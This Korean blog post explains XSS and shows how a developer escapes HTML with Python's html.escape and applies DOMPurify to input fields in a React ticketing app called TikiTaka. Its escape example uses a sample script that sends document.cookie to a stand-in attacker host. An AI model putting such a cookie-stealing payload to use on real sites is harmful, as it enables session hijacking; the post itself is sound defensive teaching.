[TikiTaka] XSS 공격을 방어하기 위한 DOMPurify 적용하기

yii·2025년 3월 7일
post-thumbnail

📌 XSS 공격이란?

사이트 간 스크립팅은 웹 애플리케이션에서 나타나는 취약점 중의 하나로, 사용자 브라우저에 악성 스크립트를 삽입하여 실행시키는 웹 해킹 기법이다. 주로 사용자로부터 입력받은 값을 제대로 검사하지 않고 사용할 경우 나타난다. 리다이렉션 스크립트를 주입하기도 하고, 쿠키를 탈취하여 세션 하이재킹 (Session Hijacking) 공격을 수행하기도 한다.

📌 escape 처리를 통한 XSS 공격 방지

html 모듈의 escape 처리를 통해 XSS 공격을 막을 수 있다

import html

src = '<script>location.href="http://hack.er/Cookie.php?cookie="+document.cookie</script>'
result = html.escape(src)
print(result)

html.escape() 함수를 사용하면 HTML 문자열을 쉽게 이스케이프 처리할 수 있다.

c:\projects\pylib>python html_sample.py
&lt;script&gt;location.href=&quot;http://hack.er/Cookie.php?cookie=&quot;+document.cookie&lt;/script&gt;

위와 같이 이스케이프 처리된 문자열은 브라우저에선 그대로 보이지만 HTML 본연의 태그나 스크립트 기능은 사라진 상태가 된다. 이렇게 escape 처리를 통해 HTML 특수 문자를 엔티티로 변환하여 안전하게 표시할 수 있지만 escape 처리는 주로 특수 문자를 안전하게 표시하는 데 중점 을 두고 있다.

📌 Dompurify

DOMPurify는 클라이언트 측에서 HTML,SVG,MathML 등의 컨텐츠를 정화하여 XSS (크로스사이트 스크립팅) 공격을 방지하는 라이브러리이다. 입력한 값을 안전하게 처리하여 악성 코드가 실행되지 않도록 보호할 수 있다. DOMPurify는 입력된 HTML의 구조를 분석해 위험 요소를 제거 하는 데 중점을 둔다.

악의적인 사용자가<script> 태그를 통해 악성 코드를 삽입하여 다른 사용자의 브라우저에서 실행할 수 있다. 이를 방지하기 위해 DOMPurify.sanitize(e.target.value)를 사용하여 사용자 입력을 sanitize한다.

HTML 필터링을 거쳐 악의적인 스크립트를 제거하고, 안전한 HTML로 변환하는 필터링 과정을 sanitize라고 한다.

이 과정에서 잠재적으로 위험한 HTML 태그나 스크립트가 제거된다. DOMPurify는 입력된 HTML을 파싱하고 DOM 트리로 변환한다.

티켓 요청 시스템 TikiTaka에서의 DOMPurify 적용

  <textarea
                rows={5}
                className="w-full h-[320px] px-3 py-2 border border-gray-300 rounded mt-1 text-body-regular"
                placeholder="요청 내용을 입력해주세요"
                style={{resize: 'none', outline: 'none'}}
                value={descriptionInput.value}
                onChange={(e) => {
                  const sanitizedValue = DOMPurify.sanitize(e.target.value);
                  descriptionInput.setValue(sanitizedValue);
                  setDescription(sanitizedValue);
                }}
              />

사용자가 <textarea>에 입력한 값은 e.target.value로 가져온다. 이 값은 악성 스크립트나 HTML 태그를 포함할 수 있기 때문에 DOMPurify.sanitize 를 통해 정화(sanitize)하여 안전한 값으로 변환한다.

공통 Input 컴포넌트 적용

import DOMPurify from 'dompurify';
import React, { useState } from 'react';

interface InputProps {
  type?: string;
  element: 'input' | 'textarea';
  label?: string;
  size: 'sm' | 'lg';
  placeholder?: string;
  required?: boolean;
  maxLength?: number;
  name?: string;
  value?: string;
  onChange?: (sanitizedValue: string) => void;
}

export default function Input({type, element, label, size, name, value, placeholder, required, maxLength, onChange}: InputProps) {
  const [localValue, setLocalValue] = useState(value || '');

  const handleChange = (e: React.ChangeEvent<HTMLInputElement | HTMLTextAreaElement>) => {
    const inputValue = e.target.value;
    setLocalValue(inputValue);

    // 입력 값을 저장하거나 서버로 전송할 때만 DOMPurify 사용
    if (onChange) {
      const sanitizedValue = DOMPurify.sanitize(inputValue);
      onChange(sanitizedValue);
    }
  };

  return (
    <div className={`flex ${element === 'input' ? ' items-center' : 'items-start '}`}>
      {label && <label className="text-subtitle mr-6 w-[120px]">{label}</label>}
      {element === 'input' ? (
        <input
          type={type}
          name={name}
          value={localValue}
          placeholder={placeholder}
          maxLength={maxLength}
          required={required}
          onChange={handleChange}
          className={` ${size === 'sm' ? 'py-2' : ' py-4'} px-4 text-subtitle-regular w-full  border border-gray-2 rounded-md focus:outline-none focus:border-main `}
        />
      ) : (
        <textarea
          placeholder={placeholder}
          required={required}
          maxLength={maxLength}
          value={localValue}
          onChange={handleChange}
          className={
            'px-4 py-4 resize-none h-[234px] text-subtitle-regular w-full  border border-gray-2 rounded-md focus:outline-none focus:border-main'
          }
        />
      )}
    </div>
  );
}

onChange 이벤트 핸들러 내에 직접 DOMPurify.sanitaize()를 호출하여 사용한다면, 사용자 입력이 발생할 때마다 실행되므로 성능에 영향을 줄 수 있다. 입력 값이 외부로 노출되는 입력 값을 저장할 때나 서버로 전송할 때만 사용하기 위해 if문을 추가하였다.

onChange 콜백 함수는 주로 입력 필드의 값이 변경될 때 호출된다. 이 콜백 함수는 입력 값을 처리하거나 저장하는 데 사용된다. onChange 콜백 함수가 없다면, 입력 값이 저장되거나 전송되지 않는다. 주로 HTML 문자열을 DOM에 삽입할 때 XSS 공격을 방어하기 위해 사용되는데, 입력 값이 단순한 문자열이거나 입력값 저장, 처리 되는 때가 아니라면 DOMPurify가 꼭 필요하지 않을 수 있다.

0개의 댓글